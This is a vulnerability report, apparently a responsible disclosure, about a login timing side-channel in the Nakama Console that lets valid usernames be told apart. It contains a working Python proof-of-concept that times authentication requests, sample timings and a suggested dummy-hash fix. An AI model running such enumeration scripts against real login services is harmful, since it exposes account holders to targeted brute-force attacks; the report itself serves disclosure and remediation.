User Enumeration via Response Timing in heroiclabs/nakama
Reported on
Aug 23rd 2022
Description
There is a significant timing difference in the login functionality of the Nakama Console for valid and invalid email addresses or usernames.
Proof of Concept
1. Login to the Nakama Console as admin and create a User test@user.com
2. Logout
3. Attempt a Login with an incorrect password with test@user.com and doesnotexist@user.com and observe the difference in the response time
Here is a small test script (alternatively we can see the response time in Burp Repeater)
import requests
url = "http://127.0.0.1:7351/v2/console/authenticate"
valid_user = {"username": "test@user.com", "password": "pw"}
invalid_user = {"username": "doesnotexist@user.com", "password": "pw"}
for _ in range(3):
r = requests.post(url, json=valid_user)
print(r.elapsed.total_seconds())
print('---')
for _ in range(3):
r = requests.post(url, json=invalid_user)
print(r.elapsed.total_seconds())
My test results:
$python3 timing.py
0.058338
0.055063
0.055164
---
0.00434
0.003145
0.003399
We can see that there is a difference in response time of about 50 ms. This is because a computationally expensive hash function is only executed when the username is valid. Remember that a user is locked out after 5 consecutive failed login attempts, which means that the difference in response time cannot be observed anymore.
Impact
An attacker is able to identify valid email addresses and usernames. This could allow for further attacks such as brute force attacks on valid accounts.
Occurrences
console_authenticate.go L153-L199
The hash function is only executed when the username exists in the database. To mitigate this, the hash function should be executed with a dummy input even when the username does not exist.